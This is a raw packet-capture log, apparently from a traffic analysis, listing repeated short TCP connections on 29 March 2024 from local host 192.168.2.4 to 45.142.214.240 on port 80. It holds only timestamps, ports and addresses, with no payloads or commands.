Mar 29, 2024 12:59:28.060209990 CET	49777	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:28.169307947 CET	49777	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:28.387092113 CET	80	49777	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:28.470686913 CET	80	49777	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:28.472796917 CET	49777	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:28.591146946 CET	49777	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:28.591432095 CET	49778	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:28.808849096 CET	80	49777	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:28.809012890 CET	49777	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:28.813565969 CET	80	49778	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:28.813832045 CET	49778	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:28.814022064 CET	49778	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:29.036251068 CET	80	49778	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:29.115170956 CET	80	49778	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:29.117928028 CET	49778	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:29.237418890 CET	49778	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:29.237744093 CET	49779	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:29.455316067 CET	80	49779	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:29.457856894 CET	49779	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:29.458061934 CET	49779	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:29.459840059 CET	80	49778	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:29.461821079 CET	49778	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:29.675411940 CET	80	49779	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:29.758946896 CET	80	49779	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:29.759058952 CET	49779	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:29.871877909 CET	49779	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:29.872154951 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:30.089278936 CET	80	49779	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:30.089392900 CET	49779	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:30.092844009 CET	80	49780	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:30.092950106 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:30.093137980 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:30.313877106 CET	80	49780	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:30.406164885 CET	80	49780	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:30.406219959 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:30.512532949 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:30.733091116 CET	80	49780	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:30.812120914 CET	80	49780	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:30.812222004 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:30.918915987 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:31.140090942 CET	80	49780	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:31.226247072 CET	80	49780	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:31.226325989 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:31.342874050 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:31.343158007 CET	49781	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:31.561980963 CET	80	49781	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:31.562052011 CET	49781	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:31.562211037 CET	49781	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:31.563570023 CET	80	49780	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:31.563642979 CET	49780	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:31.781255960 CET	80	49781	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:31.860681057 CET	80	49781	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:31.860769033 CET	49781	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:31.986767054 CET	49781	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:31.987179995 CET	49782	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:32.207187891 CET	80	49781	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:32.207257986 CET	49781	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:32.211260080 CET	80	49782	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:32.211355925 CET	49782	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:32.211512089 CET	49782	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:32.434437037 CET	80	49782	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:32.516931057 CET	80	49782	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:32.517127037 CET	49782	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:32.637504101 CET	49782	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:32.637923002 CET	49783	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:32.855839968 CET	80	49783	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:32.856055021 CET	49783	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:32.856144905 CET	49783	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:32.859813929 CET	80	49782	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:32.859868050 CET	49782	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:33.073879957 CET	80	49783	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:33.160276890 CET	80	49783	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:33.160449982 CET	49783	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:33.278462887 CET	49783	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:33.278789997 CET	49784	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:33.496123075 CET	80	49783	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:33.496314049 CET	49783	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:33.499317884 CET	80	49784	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:33.499420881 CET	49784	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:33.499588966 CET	49784	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:33.720221996 CET	80	49784	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:33.798856020 CET	80	49784	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:33.799052954 CET	49784	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:33.918675900 CET	49784	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:33.918869019 CET	49785	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.137665987 CET	80	49785	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:34.137769938 CET	49785	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.137988091 CET	49785	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.139477015 CET	80	49784	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:34.139545918 CET	49784	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.356820107 CET	80	49785	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:34.440857887 CET	80	49785	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:34.441039085 CET	49785	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.559536934 CET	49785	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.559885025 CET	49786	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.777425051 CET	80	49786	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:34.777510881 CET	49786	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.777688980 CET	49786	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.778323889 CET	80	49785	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:34.778381109 CET	49785	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:34.995769024 CET	80	49786	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:35.075176001 CET	80	49786	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:35.075285912 CET	49786	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:35.201188087 CET	49786	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:35.201469898 CET	49787	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:35.419003010 CET	80	49786	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:35.419084072 CET	49786	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:35.420911074 CET	80	49787	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:35.420983076 CET	49787	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:35.421195984 CET	49787	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:35.639900923 CET	80	49787	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:35.723900080 CET	80	49787	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:35.723970890 CET	49787	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:35.840514898 CET	49787	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:35.840791941 CET	49788	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.058376074 CET	80	49788	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:36.058489084 CET	49788	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.058656931 CET	49788	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.074800014 CET	80	49787	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:36.074965000 CET	49787	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.276284933 CET	80	49788	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:36.364326000 CET	80	49788	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:36.364377975 CET	49788	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.481128931 CET	49788	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.481406927 CET	49789	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.698923111 CET	80	49789	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:36.698945045 CET	80	49788	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:36.699006081 CET	49789	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.699033976 CET	49788	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.699173927 CET	49789	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:36.917131901 CET	80	49789	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:36.995959044 CET	80	49789	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:36.996036053 CET	49789	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:37.106190920 CET	49789	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:37.323729992 CET	80	49789	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:37.409293890 CET	80	49789	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:37.409360886 CET	49789	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:37.527991056 CET	49789	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:37.528286934 CET	49790	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:37.745791912 CET	80	49789	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:37.746001005 CET	49789	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:37.748874903 CET	80	49790	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:37.748953104 CET	49790	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:37.749118090 CET	49790	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:37.970321894 CET	80	49790	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:38.048827887 CET	80	49790	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:38.048908949 CET	49790	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:38.382874966 CET	49790	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:38.383172989 CET	49791	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:38.599378109 CET	80	49791	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:38.599483013 CET	49791	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:38.599677086 CET	49791	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:38.603497982 CET	80	49790	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:38.603547096 CET	49790	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:38.815857887 CET	80	49791	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:38.906938076 CET	80	49791	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:38.907064915 CET	49791	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:39.750869989 CET	49791	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:39.751219988 CET	49792	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:39.967755079 CET	80	49791	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:39.967859983 CET	49791	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:39.978094101 CET	80	49792	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:39.978180885 CET	49792	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:39.978368044 CET	49792	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:40.195792913 CET	80	49792	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:40.282648087 CET	80	49792	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:40.282711029 CET	49792	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:40.403114080 CET	49792	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:40.403506994 CET	49793	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:40.619901896 CET	80	49793	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:40.619988918 CET	49793	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:40.620979071 CET	80	49792	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:40.621035099 CET	49792	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:40.621953011 CET	49793	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:40.838164091 CET	80	49793	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:40.917171001 CET	80	49793	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:40.917242050 CET	49793	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:41.029453993 CET	49793	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:41.245925903 CET	80	49793	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:41.330909014 CET	80	49793	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:41.331060886 CET	49793	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:41.450750113 CET	49793	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:41.451069117 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:41.667031050 CET	80	49793	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:41.667092085 CET	49793	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:41.668397903 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:41.668457031 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:41.668621063 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:41.886605024 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:41.965167999 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:41.965245008 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:42.076478004 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:42.301224947 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:42.389615059 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:42.389672995 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:42.497809887 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:42.715254068 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:42.794445992 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:42.794512033 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:42.903228998 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:43.120991945 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:43.203939915 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:43.204139948 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:43.328238964 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:43.328546047 CET	49795	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:43.545773983 CET	80	49794	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:43.545852900 CET	49794	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:43.547689915 CET	80	49795	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:43.547761917 CET	49795	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:43.547929049 CET	49795	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:43.767944098 CET	80	49795	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:43.846704006 CET	80	49795	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:43.846767902 CET	49795	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:43.965862036 CET	49795	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:43.966181040 CET	49796	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:44.183698893 CET	80	49796	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:44.183897972 CET	49796	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:44.183959007 CET	49796	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:44.186639071 CET	80	49795	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:44.186692953 CET	49795	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:44.400142908 CET	80	49796	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:44.487411022 CET	80	49796	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:44.487473011 CET	49796	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:44.606403112 CET	49796	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:44.606725931 CET	49797	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:44.822721958 CET	80	49796	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:44.822889090 CET	49796	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:44.825920105 CET	80	49797	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:44.825992107 CET	49797	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:44.826159954 CET	49797	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:45.046700001 CET	80	49797	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:45.124955893 CET	80	49797	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:45.125025988 CET	49797	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:45.247061014 CET	49797	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:45.247359991 CET	49798	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:45.463677883 CET	80	49798	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:45.463754892 CET	49798	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:45.464018106 CET	49798	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:45.466136932 CET	80	49797	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:45.466201067 CET	49797	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:45.680372953 CET	80	49798	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:45.771872997 CET	80	49798	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:45.771931887 CET	49798	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:45.887736082 CET	49798	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:45.888058901 CET	49799	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.105206013 CET	80	49798	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:46.105282068 CET	49798	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.107984066 CET	80	49799	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:46.108061075 CET	49799	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.108211040 CET	49799	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.330605030 CET	80	49799	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:46.415388107 CET	80	49799	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:46.415463924 CET	49799	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.528198957 CET	49799	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.528520107 CET	49800	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.748430014 CET	80	49799	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:46.748451948 CET	80	49800	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:46.748589993 CET	49800	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.748593092 CET	49799	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.748719931 CET	49800	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:46.968141079 CET	80	49800	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:47.047234058 CET	80	49800	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:47.047293901 CET	49800	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:47.153192043 CET	49800	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:47.372972965 CET	80	49800	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:47.457124949 CET	80	49800	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:47.457170010 CET	49800	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:47.576144934 CET	49800	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:47.576431990 CET	49801	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:47.792754889 CET	80	49801	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:47.792870045 CET	49801	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:47.793024063 CET	49801	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:47.795660973 CET	80	49800	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:47.795717001 CET	49800	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:48.011859894 CET	80	49801	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:48.091517925 CET	80	49801	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:48.091578007 CET	49801	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:48.200098038 CET	49801	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:48.417154074 CET	80	49801	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:48.501480103 CET	80	49801	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:48.501543999 CET	49801	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:48.621951103 CET	49801	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:48.622248888 CET	49802	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:48.838170052 CET	80	49801	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:48.838246107 CET	49801	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:48.841402054 CET	80	49802	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:48.841489077 CET	49802	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:48.841670036 CET	49802	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:49.060973883 CET	80	49802	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:49.144664049 CET	80	49802	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:49.144726992 CET	49802	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:49.262414932 CET	49802	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:49.262686014 CET	49803	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:49.480196953 CET	80	49803	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:49.480315924 CET	49803	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:49.480505943 CET	49803	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:49.481689930 CET	80	49802	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:49.481743097 CET	49802	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:49.698110104 CET	80	49803	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:49.777338028 CET	80	49803	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:49.777417898 CET	49803	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:49.889538050 CET	49803	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:49.890211105 CET	49804	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.106987000 CET	80	49803	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:50.107059002 CET	49803	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.108954906 CET	80	49804	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:50.109025955 CET	49804	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.109189034 CET	49804	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.327917099 CET	80	49804	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:50.411803961 CET	80	49804	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:50.411864996 CET	49804	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.528037071 CET	49804	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.528322935 CET	49805	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.745785952 CET	80	49805	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:50.745870113 CET	49805	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.746015072 CET	49805	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.746835947 CET	80	49804	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:50.746895075 CET	49804	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:50.963309050 CET	80	49805	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:51.042684078 CET	80	49805	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:51.042742014 CET	49805	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:51.153063059 CET	49805	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:51.371093035 CET	80	49805	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:51.456732988 CET	80	49805	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:51.456808090 CET	49805	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:51.575130939 CET	49805	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:51.575413942 CET	49806	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:51.792578936 CET	80	49805	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:51.792664051 CET	49805	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:51.794009924 CET	80	49806	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:51.794078112 CET	49806	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:51.794274092 CET	49806	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:52.013370037 CET	80	49806	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:52.092668056 CET	80	49806	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:52.092844009 CET	49806	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:52.205310106 CET	49806	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:52.424259901 CET	80	49806	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:52.510409117 CET	80	49806	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:52.510499001 CET	49806	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:52.622145891 CET	49806	80	192.168.2.4	45.142.214.240
